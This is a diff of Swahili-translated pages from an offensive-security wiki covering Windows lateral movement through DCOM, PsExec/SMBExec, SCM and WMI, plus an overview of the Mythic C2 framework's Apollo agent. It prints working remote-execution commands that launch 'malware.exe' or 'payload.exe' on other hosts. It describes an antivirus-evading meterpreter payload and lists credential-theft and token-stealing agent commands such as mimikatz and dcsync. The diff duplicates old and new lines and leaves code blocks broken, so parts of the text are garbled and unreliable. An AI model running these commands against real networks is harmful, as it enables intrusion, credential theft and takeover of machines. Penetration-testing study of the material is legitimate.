Kipengele hiki kinasaidia utekelezaji wa amri kupitia mtandao kupitia programu ya DCOM. Ili kuingiliana na DCOM kwa mbali kama admin, PowerShell inaweza kutumika kama ifuatavyo:
```powershell
Kipengele hiki kinasaidia utekelezaji wa amri kupitia mtandao kupitia programu ya DCOM. Ili kuingiliana na DCOM kwa mbali kama msimamizi, PowerShell inaweza kutumika kama ifuatavyo:
```bash
[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))
```
Amri hii inachanganya na programu ya DCOM na inarudisha mfano wa kitu cha COM. Njia ya ExecuteShellCommand inaweza kisha kuitwa ili kutekeleza mchakato kwenye mwenyeji wa mbali. Mchakato unajumuisha hatua zifuatazo:
Angalia mbinu:
```powershell
```bash
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com.Document.ActiveView | Get-Member
```
Pata RCE:
```powershell
```bash
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com | Get-Member
@ -36,27 +36,32 @@ ls \\10.10.10.10\c$\Users
**Kwa maelezo zaidi kuhusu mbinu hii angalia chapisho la asili [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)**
Objekti **MMC20.Application** iligundulika kuwa haina "LaunchPermissions" wazi, ikirudi kwenye ruhusa zinazoruhusu Wasimamizi kupata. Kwa maelezo zaidi, mjadala unaweza kuchunguzwa [hapa](https://twitter.com/tiraniddo/status/817532039771525120), na matumizi ya [@tiraniddo](https://twitter.com/tiraniddo)s OleView .NET kwa ajili ya kuchuja objekti bila Ruhusa ya Uzinduzi inashauriwa.
Kitu cha **MMC20.Application** kiligundulika kuwa hakina "LaunchPermissions" wazi, kikirudi kwenye ruhusa zinazoruhusu Wasimamizi kupata. Kwa maelezo zaidi, mjadala unaweza kuchunguzwa [hapa](https://twitter.com/tiraniddo/status/817532039771525120), na matumizi ya [@tiraniddo](https://twitter.com/tiraniddo)s OleView .NET kwa ajili ya kuchuja vitu bila Ruhusa ya Uzinduzi wazi inashauriwa.
Objekti mbili maalum, `ShellBrowserWindow` na `ShellWindows`, zilisisitizwa kutokana na ukosefu wa Ruhusa za Uzinduzi wazi. Ukosefu wa kiingilio cha rejista cha `LaunchPermission` chini ya `HKCR:\AppID\{guid}` unaashiria ukosefu wa ruhusa wazi.
Vitu viwili maalum, `ShellBrowserWindow` na `ShellWindows`, vilisisitizwa kutokana na ukosefu wa Ruhusa za Uzinduzi wazi. Ukosefu wa kiingilio cha rejista cha `LaunchPermission` chini ya `HKCR:\AppID\{guid}` unaashiria ukosefu wa ruhusa wazi.
### ShellWindows
Kwa `ShellWindows`, ambayo haina ProgID, mbinu za .NET `Type.GetTypeFromCLSID` na `Activator.CreateInstance` zinasaidia kuunda objekti kwa kutumia AppID yake. Mchakato huu unatumia OleView .NET kupata CLSID ya `ShellWindows`. Mara tu inapoundwa, mwingiliano unaweza kufanyika kupitia mbinu ya `WindowsShell.Item`, ikisababisha mwito wa mbinu kama `Document.Application.ShellExecute`.
Kwa `ShellWindows`, ambayo haina ProgID, mbinu za .NET `Type.GetTypeFromCLSID` na `Activator.CreateInstance` zinasaidia kuunda kitu kwa kutumia AppID yake. Mchakato huu unatumia OleView .NET kupata CLSID ya `ShellWindows`. Mara tu inapoundwa, mwingiliano unaweza kufanyika kupitia mbinu ya `WindowsShell.Item`, ikisababisha mwito wa mbinu kama `Document.Application.ShellExecute`.
Mifano ya amri za PowerShell ilitolewa ili kuunda objekti na kutekeleza amri kwa mbali:
```powershell
Mifano ya amri za PowerShell ilitolewa ili kuunda kitu na kutekeleza amri kwa mbali:
```bash
# Example
$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.Item()
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)
# Need to upload the file to execute
$COM = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.APPLICATION", "192.168.52.100"))
$COM.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\calc.exe", $Null, $Null, "7")
```
### Lateral Movement with Excel DCOM Objects
Lateral movement inaweza kupatikana kwa kutumia DCOM Excel objects. Kwa maelezo ya kina, ni vyema kusoma mjadala kuhusu kutumia Excel DDE kwa ajili ya lateral movement kupitia DCOM kwenye [blogu ya Cybereason](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom).
Lateral movement inaweza kufanywa kwa kutumia DCOM Excel objects. Kwa maelezo ya kina, ni vyema kusoma mjadala kuhusu kutumia Excel DDE kwa ajili ya lateral movement kupitia DCOM kwenye [Cybereason's blog](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom).
Mradi wa Empire unatoa script ya PowerShell, ambayo inaonyesha matumizi ya Excel kwa ajili ya remote code execution (RCE) kwa kubadilisha DCOM objects. Hapa chini kuna vipande kutoka kwa script inayopatikana kwenye [hifadhi ya GitHub ya Empire](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1), ikionyesha mbinu tofauti za kutumia Excel kwa RCE:
```powershell
Mradi wa Empire unatoa script ya PowerShell, ambayo inaonyesha matumizi ya Excel kwa ajili ya remote code execution (RCE) kwa kubadilisha DCOM objects. Hapa chini kuna vipande kutoka kwa script inayopatikana kwenye [Empire's GitHub repository](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1), ikionyesha mbinu tofauti za kutumia Excel kwa RCE:
```bash
# Detection of Office version
elseif ($Method -Match "DetectOffice") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
@ -78,23 +83,35 @@ $Obj.DisplayAlerts = $false
$Obj.DDEInitiate("cmd", "/c $Command")
}
```
### Zana za Uhamasishaji wa Mwelekeo
### Vifaa vya Utaftaji wa Kando
Zana mbili zimeangaziwa kwa ajili ya kuhamasisha mbinu hizi:
Vifaa viwili vinasisitizwa kwa ajili ya kuendesha mbinu hizi:
- **Invoke-DCOM.ps1**: Skripti ya PowerShell iliyotolewa na mradi wa Empire inayorahisisha mwito wa mbinu tofauti za kutekeleza msimbo kwenye mashine za mbali. Skripti hii inapatikana katika hifadhi ya Empire GitHub.
- **SharpLateral**: Zana iliyoundwa kwa ajili ya kutekeleza msimbo kwa mbali, ambayo inaweza kutumika na amri:
- **SharpLateral**: Chombo kilichoundwa kwa ajili ya kutekeleza msimbo kwa mbali, ambacho kinaweza kutumika na amri:
```bash
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
```
- [SharpMove](https://github.com/0xthirteen/SharpMove):
```bash
SharpMove.exe action=dcom computername=remote.host.local command="C:\windows\temp\payload.exe\" method=ShellBrowserWindow amsi=true
```
## Vifaa vya Kiotomatiki
- Skripti ya Powershell [**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1) inaruhusu kuitisha kwa urahisi njia zote zilizotajwa za kutekeleza msimbo kwenye mashine nyingine.
- Skripti ya Powershell [**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1) inaruhusu kwa urahisi kuita njia zote zilizotajwa za kutekeleza msimbo kwenye mashine nyingine.
- Unaweza kutumia `dcomexec.py` ya Impacket kutekeleza amri kwenye mifumo ya mbali kwa kutumia DCOM.
```bash
dcomexec.py 'DOMAIN'/'USER':'PASSWORD'@'target_ip' "cmd.exe /c whoami"
```
- Unaweza pia kutumia [**SharpLateral**](https://github.com/mertdas/SharpLateral):
```bash
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
```
- Unaweza pia kutumia [**SharpMove**](https://github.com/0xthirteen/SharpMove)
```bash
SharpMove.exe action=dcom computername=remote.host.local command="C:\windows\temp\payload.exe\" method=ShellBrowserWindow amsi=true
```
## Marejeo
- [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)

View File

@ -1,4 +1,4 @@
# PsExec/Winexec/ScExec
# PsExec/Winexec/ScExec/SMBExec
{{#include ../../banners/hacktricks-training.md}}
@ -6,17 +6,18 @@
Mchakato umeelezwa katika hatua zilizo hapa chini, ukionyesha jinsi binaries za huduma zinavyoshughulikiwa ili kufikia utekelezaji wa mbali kwenye mashine lengwa kupitia SMB:
1. **Nakili ya binary ya huduma kwenye ADMIN$ share kupitia SMB** inafanywa.
2. **Uundaji wa huduma kwenye mashine ya mbali** unafanywa kwa kuelekeza kwenye binary.
3. Huduma hiyo **inaanzishwa kwa mbali**.
4. Baada ya kutoka, huduma hiyo **inasitishwa, na binary inafutwa**.
1. **Kukopi binary ya huduma kwenye ADMIN$ share kupitia SMB** inafanywa.
2. **Kuunda huduma kwenye mashine ya mbali** kunafanywa kwa kuelekeza kwenye binary.
3. Huduma inaanza **kwa mbali**.
4. Baada ya kutoka, huduma inasimamishwa, na binary inafutwa.
### **Mchakato wa Kutekeleza PsExec kwa Mikono**
Tukichukulia kuna payload inayoweza kutekelezwa (iliyoundwa na msfvenom na kufichwa kwa kutumia Veil ili kuepuka kugunduliwa na antivirus), inayoitwa 'met8888.exe', ikiwakilisha payload ya meterpreter reverse_http, hatua zifuatazo zinachukuliwa:
Kukisia kuna payload inayoweza kutekelezwa (iliyoundwa na msfvenom na kufichwa kwa kutumia Veil ili kuepuka kugunduliwa na antivirus), inayoitwa 'met8888.exe', ikiwakilisha payload ya meterpreter reverse_http, hatua zifuatazo zinachukuliwa:
- **Nakili binary**: Executable inakopiwa kwenye ADMIN$ share kutoka kwa amri ya amri, ingawa inaweza kuwekwa mahali popote kwenye mfumo wa faili ili kubaki kufichwa.
- **Kuunda huduma**: Kwa kutumia amri ya Windows `sc`, ambayo inaruhusu kuuliza, kuunda, na kufuta huduma za Windows kwa mbali, huduma inayoitwa "meterpreter" inaundwa kuelekea kwenye binary iliyopakiwa.
- **Kukopi binary**: Executable inakopiwa kwenye ADMIN$ share kutoka kwa amri ya prompt, ingawa inaweza kuwekwa mahali popote kwenye mfumo wa faili ili kubaki kufichwa.
- Badala ya kukopi binary, pia inawezekana kutumia binary ya LOLBAS kama `powershell.exe` au `cmd.exe` kutekeleza amri moja kwa moja kutoka kwa hoja. Mfano: `sc create [ServiceName] binPath= "cmd.exe /c [PayloadCommand]"`
- **Kuunda huduma**: Kutumia amri ya Windows `sc`, ambayo inaruhusu kuuliza, kuunda, na kufuta huduma za Windows kwa mbali, huduma inayoitwa "meterpreter" inaundwa kuelekea kwenye binary iliyopakiwa.
- **Kuanza huduma**: Hatua ya mwisho inahusisha kuanzisha huduma, ambayo kwa uwezekano itasababisha kosa la "time-out" kwa sababu binary sio binary halisi ya huduma na inashindwa kurudisha msimbo wa majibu unaotarajiwa. Kosa hili halina umuhimu kwani lengo kuu ni utekelezaji wa binary.
Uangalizi wa msikilizaji wa Metasploit utaonyesha kuwa kikao kimeanzishwa kwa mafanikio.
@ -25,12 +26,24 @@ Uangalizi wa msikilizaji wa Metasploit utaonyesha kuwa kikao kimeanzishwa kwa ma
Pata hatua za kina zaidi katika: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
**Unaweza pia kutumia binary ya Windows Sysinternals PsExec.exe:**
- Unaweza pia kutumia **Windows Sysinternals binary PsExec.exe**:
![](<../../images/image (928).png>)
Unaweza pia kutumia [**SharpLateral**](https://github.com/mertdas/SharpLateral):
Au upate kupitia webddav:
```bash
\\live.sysinternals.com\tools\PsExec64.exe -accepteula
```
- Unaweza pia kutumia [**SharpLateral**](https://github.com/mertdas/SharpLateral):
```bash
SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName
```
- Unaweza pia kutumia [**SharpMove**](https://github.com/0xthirteen/SharpMove):
```bash
SharpMove.exe action=modsvc computername=remote.host.local command="C:\windows\temp\payload.exe" amsi=true servicename=TestService
SharpMove.exe action=startservice computername=remote.host.local servicename=TestService
```
- Unaweza pia kutumia **Impacket's `psexec` na `smbexec.py`**.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,15 @@
# RDPexec
{{#include ../../banners/hacktricks-training.md}}
## Jinsi Inavyofanya Kazi
**RDPexec** ni kimsingi kutekeleza amri kwa kuingia kwenye mfumo kwa kutumia RDP.
Kwa maelezo zaidi angalia:
{{#ref}}
../../network-services-pentesting/pentesting-rdp.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,15 @@
# DCOM Exec
{{#include ../../banners/hacktricks-training.md}}
## SCM
**SCMExec** ni mbinu ya kutekeleza amri kwenye mifumo ya mbali kwa kutumia Meneja wa Udhibiti wa Huduma (SCM) kuunda huduma inayotekeleza amri hiyo. Njia hii inaweza kupita baadhi ya udhibiti wa usalama, kama vile Udhibiti wa Akaunti ya Mtumiaji (UAC) na Windows Defender.
## Tools
- [**https://github.com/0xthirteen/SharpMove**](https://github.com/0xthirteen/SharpMove):
SharpMove.exe action=scm computername=remote.host.local command="C:\windows\temp\payload.exe" servicename=WindowsDebug amsi=true
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,38 +0,0 @@
# SmbExec/ScExec
{{#include ../../banners/hacktricks-training.md}}
## Jinsi Inavyofanya Kazi
**Smbexec** ni chombo kinachotumika kwa utekelezaji wa amri kwa mbali kwenye mifumo ya Windows, sawa na **Psexec**, lakini kinakwepa kuweka faili zozote za uharibifu kwenye mfumo wa lengo.
### Vidokezo Muhimu Kuhusu **SMBExec**
- Inafanya kazi kwa kuunda huduma ya muda (kwa mfano, "BTOBTO") kwenye mashine ya lengo ili kutekeleza amri kupitia cmd.exe (%COMSPEC%), bila kuacha binaries zozote.
- Licha ya mbinu yake ya siri, inazalisha kumbukumbu za matukio kwa kila amri iliyotekelezwa, ikitoa aina ya "shell" isiyoingiliana.
- Amri ya kuungana kwa kutumia **Smbexec** inaonekana kama hii:
```bash
smbexec.py WORKGROUP/genericuser:genericpassword@10.10.10.10
```
### Kutekeleza Amri Bila Binaries
- **Smbexec** inaruhusu utekelezaji wa amri moja kwa moja kupitia binPaths za huduma, ikiondoa hitaji la binaries za kimwili kwenye lengo.
- Njia hii ni muhimu kwa kutekeleza amri za mara moja kwenye lengo la Windows. Kwa mfano, kuunganisha na moduli ya `web_delivery` ya Metasploit inaruhusu utekelezaji wa payload ya Meterpreter ya PowerShell.
- Kwa kuunda huduma ya mbali kwenye mashine ya mshambuliaji na binPath iliyowekwa kutekeleza amri iliyotolewa kupitia cmd.exe, inawezekana kutekeleza payload kwa mafanikio, kufikia callback na utekelezaji wa payload na msikilizaji wa Metasploit, hata kama makosa ya majibu ya huduma yanatokea.
### Mfano wa Amri
Kuunda na kuanzisha huduma kunaweza kufanywa kwa amri zifuatazo:
```bash
sc create [ServiceName] binPath= "cmd.exe /c [PayloadCommand]"
sc start [ServiceName]
```
Kwa maelezo zaidi angalia [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
## Marejeo
- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
{{#

View File

@ -6,13 +6,13 @@
Mchakato unaweza kufunguliwa kwenye mwenyeji ambapo jina la mtumiaji na ama nenosiri au hash vinajulikana kupitia matumizi ya WMI. Amri zinafanywa kwa kutumia WMI na Wmiexec, ikitoa uzoefu wa shell wa nusu-interactive.
**dcomexec.py:** Kutumia mwisho tofauti wa DCOM, skripti hii inatoa shell ya nusu-interactive inayofanana na wmiexec.py, hasa ikitumia kitu cha DCOM cha ShellBrowserWindow. Hivi sasa inasaidia MMC20. Maombi, Windows za Shell, na vitu vya Shell Browser Window. (chanzo: [Hacking Articles](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/))
**dcomexec.py:** Kutumia mwisho tofauti za DCOM, skripti hii inatoa shell ya nusu-interactive inayofanana na wmiexec.py, hasa ikitumia kitu cha DCOM cha ShellBrowserWindow. Hivi sasa inasaidia MMC20. Maombi, Windows za Shell, na vitu vya Shell Browser Window. (chanzo: [Hacking Articles](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/))
## Misingi ya WMI
### Namespace
Imeundwa katika muundo wa hierarchi ya directory, kontena la juu la WMI ni \root, chini ambayo directories za ziada, zinazojulikana kama namespaces, zimepangwa.
Imeandaliwa katika muundo wa hierarchi ya directory, kontena la juu la WMI ni \root, chini ya ambayo directories za ziada, zinazojulikana kama namespaces, zimepangwa.
Amri za kuorodhesha namespaces:
```bash
# Retrieval of Root namespaces
@ -31,8 +31,7 @@ gwmi -Namespace "root/microsoft" -List -Recurse
```
### **Darasa**
Kujua jina la darasa la WMI, kama win32_process, na nafasi ambayo linaishi ni muhimu kwa operesheni yoyote ya WMI.
Amri za kuorodhesha madarasa yanayoanza na `win32`:
Kujua jina la darasa la WMI, kama win32_process, na namespace iliyo ndani yake ni muhimu kwa operesheni yoyote ya WMI. Amri za kuorodhesha madarasa yanayoanza na `win32`:
```bash
Get-WmiObject -Recurse -List -class win32* | more # Defaults to "root\cimv2"
gwmi -Namespace "root/microsoft" -List -Recurse -Class "MSFT_MpComput*"
@ -87,7 +86,7 @@ wmic sysaccount list /format:list
```
Kuchunguza kwa mbali WMI kwa habari maalum, kama wasimamizi wa ndani au watumiaji walioingia, kunawezekana kwa ujenzi wa amri kwa makini.
### **Kuchunguza WMI kwa Mbali kwa Mikono**
### **Kuchunguza WMI kwa Mikono kwa Mbali**
Utambuzi wa kimya wa wasimamizi wa ndani kwenye mashine ya mbali na watumiaji walioingia unaweza kufanywa kupitia maswali maalum ya WMI. `wmic` pia inasaidia kusoma kutoka kwa faili ya maandiko ili kutekeleza amri kwenye nodi nyingi kwa wakati mmoja.
@ -95,11 +94,7 @@ Ili kutekeleza mchakato kwa mbali kupitia WMI, kama vile kupeleka wakala wa Empi
```bash
wmic /node:hostname /user:user path win32_process call create "empire launcher string here"
```
Hii mchakato inaonyesha uwezo wa WMI wa utekelezaji wa mbali na uainishaji wa mfumo, ikisisitiza matumizi yake kwa usimamizi wa mfumo na pentesting.
## Marejeleo
- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
Mchakato huu unaonyesha uwezo wa WMI wa utekelezaji wa mbali na uainishaji wa mfumo, ukisisitiza matumizi yake kwa usimamizi wa mfumo na pentesting.
## Zana za Kiotomatiki
@ -107,4 +102,24 @@ Hii mchakato inaonyesha uwezo wa WMI wa utekelezaji wa mbali na uainishaji wa mf
```bash
SharpLateral redwmi HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe
```
- [**SharpWMI**](https://github.com/GhostPack/SharpWMI)
```bash
SharpWMI.exe action=exec [computername=HOST[,HOST2,...]] command=""C:\\temp\\process.exe [args]"" [amsi=disable] [result=true]
# Stealthier execution with VBS
SharpWMI.exe action=executevbs [computername=HOST[,HOST2,...]] [script-specification] [eventname=blah] [amsi=disable] [time-specs]
```
- [**https://github.com/0xthirteen/SharpMove**](https://github.com/0xthirteen/SharpMove):
```bash
SharpMove.exe action=query computername=remote.host.local query="select * from win32_process" username=domain\user password=password
SharpMove.exe action=create computername=remote.host.local command="C:\windows\temp\payload.exe" amsi=true username=domain\user password=password
SharpMove.exe action=executevbs computername=remote.host.local eventname=Debug amsi=true username=domain\\user password=password
```
- Unaweza pia kutumia **Impacket's `wmiexec`**.
## Marejeo
- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,163 @@
# Mythic
## What is Mythic?
Mythic ni mfumo wa amri na udhibiti (C2) wa chanzo wazi na moduli ulioandaliwa kwa ajili ya red teaming. Inawawezesha wataalamu wa usalama kusimamia na kupeleka wakala mbalimbali (payloads) kwenye mifumo tofauti ya uendeshaji, ikiwa ni pamoja na Windows, Linux, na macOS. Mythic inatoa kiolesura cha wavuti rafiki kwa mtumiaji kwa ajili ya kusimamia wakala, kutekeleza amri, na kukusanya matokeo, na kuifanya kuwa chombo chenye nguvu kwa ajili ya kuiga mashambulizi halisi katika mazingira yaliyodhibitiwa.
### Installation
Ili kusakinisha Mythic, fuata maelekezo kwenye **[Mythic repo](https://github.com/its-a-feature/Mythic)** rasmi.
### Agents
Mythic inasaidia wakala wengi, ambao ni **payloads zinazofanya kazi kwenye mifumo iliyovunjwa**. Kila wakala anaweza kuboreshwa kulingana na mahitaji maalum na anaweza kukimbia kwenye mifumo tofauti ya uendeshaji.
Kwa kawaida Mythic haina wakala wowote uliosakinishwa. Hata hivyo, inatoa wakala kadhaa wa chanzo wazi katika [**https://github.com/MythicAgents**](https://github.com/MythicAgents).
Ili kusakinisha wakala kutoka kwenye repo hiyo unahitaji tu kukimbia:
```bash
sudo ./mythic-cli install github https://github.com/MythicAgents/<agent-name>
sudo ./mythic-cli install github https://github.com/MythicAgents/apfell
```
You can add new agents with the previous command even if Mythic is already running.
### C2 Profiles
C2 profiles in Mythic define **jinsi mawakala wanavyowasiliana na seva ya Mythic**. They specify the communication protocol, encryption methods, and other settings. You can create and manage C2 profiles through the Mythic web interface.
By default Mythic is installed with no profiles, however, it's possible to download some profiles from the repo [**https://github.com/MythicC2Profiles**](https://github.com/MythicC2Profiles) running:
```bash
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/<c2-profile>>
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http
```
## [Apollo Agent](https://github.com/MythicAgents/Apollo)
Apollo ni wakala wa Windows ulioandikwa kwa C# ukitumia 4.0 .NET Framework iliyoundwa kutumika katika mafunzo ya SpecterOps.
Sakinisha kwa:
```bash
./mythic-cli install github https://github.com/MythicAgents/Apollo.git
```
Huyu wakala ana amri nyingi ambazo zinamfanya kuwa nafanana sana na Beacon ya Cobalt Strike pamoja na nyongeza kadhaa. Miongoni mwao, inasaidia:
### Vitendo vya kawaida
- `cat`: Chapisha maudhui ya faili
- `cd`: Badilisha directory ya kazi ya sasa
- `cp`: Nakili faili kutoka eneo moja hadi lingine
- `ls`: Orodhesha faili na directories katika directory ya sasa au njia iliyoainishwa
- `pwd`: Chapisha directory ya kazi ya sasa
- `ps`: Orodhesha michakato inayotembea kwenye mfumo wa lengo (ikiwa na taarifa za ziada)
- `download`: Pakua faili kutoka mfumo wa lengo hadi kwenye mashine ya ndani
- `upload`: Pandisha faili kutoka kwenye mashine ya ndani hadi kwenye mfumo wa lengo
- `reg_query`: Uliza funguo na thamani za rejista kwenye mfumo wa lengo
- `reg_write_value`: Andika thamani mpya kwenye funguo maalum za rejista
- `sleep`: Badilisha muda wa usingizi wa wakala, ambao unamua mara ngapi anachunguza na seva ya Mythic
- Na wengine wengi, tumia `help` kuona orodha kamili ya amri zinazopatikana.
### Kuinua mamlaka
- `getprivs`: Wezesha mamlaka nyingi kadri inavyowezekana kwenye token ya thread ya sasa
- `getsystem`: Fungua kipande cha winlogon na nakili token, kwa ufanisi ikiinua mamlaka hadi kiwango cha SYSTEM
- `make_token`: Unda kikao kipya cha kuingia na kiweke kwa wakala, kuruhusu uigaji wa mtumiaji mwingine
- `steal_token`: Nyakua token ya msingi kutoka kwa mchakato mwingine, kuruhusu wakala kuigiza mtumiaji wa mchakato huo
- `pth`: Pass-the-Hash shambulio, kuruhusu wakala kuthibitisha kama mtumiaji akitumia hash yao ya NTLM bila kuhitaji nenosiri la wazi
- `mimikatz`: Endesha amri za Mimikatz kutoa akidi, hash, na taarifa nyeti nyingine kutoka kwenye kumbukumbu au hifadhidata ya SAM
- `rev2self`: Rudisha token ya wakala hadi token yake ya msingi, kwa ufanisi ikirudisha mamlaka hadi kiwango cha awali
- `ppid`: Badilisha mchakato mzazi kwa kazi za baada ya unyakuzi kwa kuainisha ID mpya ya mchakato mzazi, kuruhusu udhibiti bora wa muktadha wa utekelezaji wa kazi
- `printspoofer`: Tekeleza amri za PrintSpoofer ili kupita hatua za usalama za print spooler, kuruhusu kuinua mamlaka au utekelezaji wa msimbo
- `dcsync`: Sanidisha funguo za Kerberos za mtumiaji kwenye mashine ya ndani, kuruhusu kuvunja nenosiri bila mtandao au mashambulizi zaidi
- `ticket_cache_add`: Ongeza tiketi ya Kerberos kwenye kikao cha kuingia cha sasa au kilichoainishwa, kuruhusu matumizi ya tiketi au uigaji
### Utekelezaji wa mchakato
- `assembly_inject`: Inaruhusu kuingiza loader ya .NET assembly kwenye mchakato wa mbali
- `execute_assembly`: Inatekeleza .NET assembly katika muktadha wa wakala
- `execute_coff`: Inatekeleza faili ya COFF kwenye kumbukumbu, kuruhusu utekelezaji wa msimbo uliokusanywa kwenye kumbukumbu
- `execute_pe`: Inatekeleza executable isiyo na usimamizi (PE)
- `inline_assembly`: Inatekeleza .NET assembly katika AppDomain inayoweza kutumika, kuruhusu utekelezaji wa muda wa msimbo bila kuathiri mchakato mkuu wa wakala
- `run`: Inatekeleza binary kwenye mfumo wa lengo, ikitumia PATH ya mfumo kupata executable
- `shinject`: Inatia shellcode kwenye mchakato wa mbali, kuruhusu utekelezaji wa msimbo wa kiholela kwenye kumbukumbu
- `inject`: Inatia shellcode ya wakala kwenye mchakato wa mbali, kuruhusu utekelezaji wa msimbo wa wakala kwenye kumbukumbu
- `spawn`: Inazalisha kikao kipya cha wakala katika executable iliyoainishwa, kuruhusu utekelezaji wa shellcode katika mchakato mpya
- `spawnto_x64` na `spawnto_x86`: Badilisha binary ya default inayotumika katika kazi za baada ya unyakuzi kuwa njia iliyoainishwa badala ya kutumia `rundll32.exe` bila params ambayo ni kelele sana.
### Mithic Forge
Hii inaruhusu **kupakia faili za COFF/BOF** kutoka Mithic Forge, ambayo ni hifadhi ya payloads na zana zilizotengenezwa tayari ambazo zinaweza kutekelezwa kwenye mfumo wa lengo. Pamoja na amri zote zinazoweza kupakiwa itakuwa inawezekana kufanya vitendo vya kawaida kwa kuzitekeleza katika mchakato wa wakala wa sasa kama BOFs (zaidi ya stealth kawaida).
Anza kuzisakinisha na:
```bash
./mythic-cli install github https://github.com/MythicAgents/forge.git
```
Kisha, tumia `forge_collections` kuonyesha moduli za COFF/BOF kutoka Mythic Forge ili uweze kuchagua na kuziingiza kwenye kumbukumbu ya wakala kwa ajili ya utekelezaji. Kwa kawaida, makusanyo yafuatayo 2 yanaongezwa katika Apollo:
- `forge_collections {"collectionName":"SharpCollection"}`
- `forge_collections {"collectionName":"SliverArmory"}`
Baada ya moduli moja kupakiwa, itaonekana kwenye orodha kama amri nyingine kama `forge_bof_sa-whoami` au `forge_bof_sa-netuser`.
### Utekelezaji wa Powershell & scripting
- `powershell_import`: Inaleta script mpya ya PowerShell (.ps1) kwenye cache ya wakala kwa ajili ya utekelezaji baadaye
- `powershell`: Inatekeleza amri ya PowerShell katika muktadha wa wakala, ikiruhusu scripting na automatisering ya hali ya juu
- `powerpick`: Inaingiza mkusanyiko wa PowerShell loader katika mchakato wa dhabihu na kutekeleza amri ya PowerShell (bila logging ya powershell).
- `psinject`: Inatekeleza PowerShell katika mchakato maalum, ikiruhusu utekelezaji wa malengo ya scripts katika muktadha wa mchakato mwingine
- `shell`: Inatekeleza amri ya shell katika muktadha wa wakala, sawa na kuendesha amri katika cmd.exe
### Harakati za Lateral
- `jump_psexec`: Inatumia mbinu ya PsExec kuhamia kwa upande mwingine hadi mwenyeji mpya kwa kwanza kunakili executable ya wakala wa Apollo (apollo.exe) na kuitekeleza.
- `jump_wmi`: Inatumia mbinu ya WMI kuhamia kwa upande mwingine hadi mwenyeji mpya kwa kwanza kunakili executable ya wakala wa Apollo (apollo.exe) na kuitekeleza.
- `wmiexecute`: Inatekeleza amri kwenye mfumo wa ndani au wa mbali ulioelezwa kwa kutumia WMI, ikiwa na akidi za hiari za kuiga.
- `net_dclist`: Inapata orodha ya wakala wa kikoa kwa kikoa kilichoelezwa, muhimu kwa kutambua malengo yanayoweza kuwa ya harakati za lateral.
- `net_localgroup`: Inataja makundi ya ndani kwenye kompyuta iliyoelezwa, ikirudi kwa localhost ikiwa hakuna kompyuta iliyoelezwa.
- `net_localgroup_member`: Inapata uanachama wa kundi la ndani kwa kundi lililoelezwa kwenye kompyuta ya ndani au ya mbali, ikiruhusu kuhesabu watumiaji katika makundi maalum.
- `net_shares`: Inataja sehemu za mbali na upatikanaji wao kwenye kompyuta iliyoelezwa, muhimu kwa kutambua malengo yanayoweza kuwa ya harakati za lateral.
- `socks`: Inaruhusu proxy inayokidhi SOCKS 5 kwenye mtandao wa lengo, ikiruhusu tunneling ya trafiki kupitia mwenyeji aliyeathirika. Inafaa na zana kama proxychains.
- `rpfwd`: Inaanza kusikiliza kwenye bandari iliyoelezwa kwenye mwenyeji wa lengo na kupeleka trafiki kupitia Mythic hadi IP na bandari ya mbali, ikiruhusu ufikiaji wa mbali kwa huduma kwenye mtandao wa lengo.
- `listpipes`: Inataja mabomba yote yaliyo na majina kwenye mfumo wa ndani, ambayo yanaweza kuwa muhimu kwa harakati za lateral au kupandisha hadhi kwa kuingiliana na mifumo ya IPC.
### Amri Mbalimbali
